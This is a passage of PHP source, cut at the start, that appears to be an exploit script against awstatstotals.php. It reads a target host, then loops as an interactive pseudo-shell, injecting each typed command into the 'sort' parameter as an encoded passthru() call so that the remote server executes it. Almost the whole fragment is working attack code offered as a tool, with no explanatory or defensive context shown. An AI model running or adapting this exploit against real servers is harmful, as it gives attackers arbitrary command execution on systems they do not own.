\n"); } array_shift($argv); $host = $argv[0]; # Start the interactive shell while(1){ fwrite(STDOUT, "[shell:~ # "); $cmd = preg_replace('/ /','%20',trim(fgets(STDIN))); if ($cmd == "exit") {die();}; $attackurl = "http://".$host."/"."awstatstotals.php?sort=%22%5d%2epassthru%28%27".$cmd."%27%29%2eexit%28%29%2e%24a%5b%22"; echo wrap($attackurl); } ?>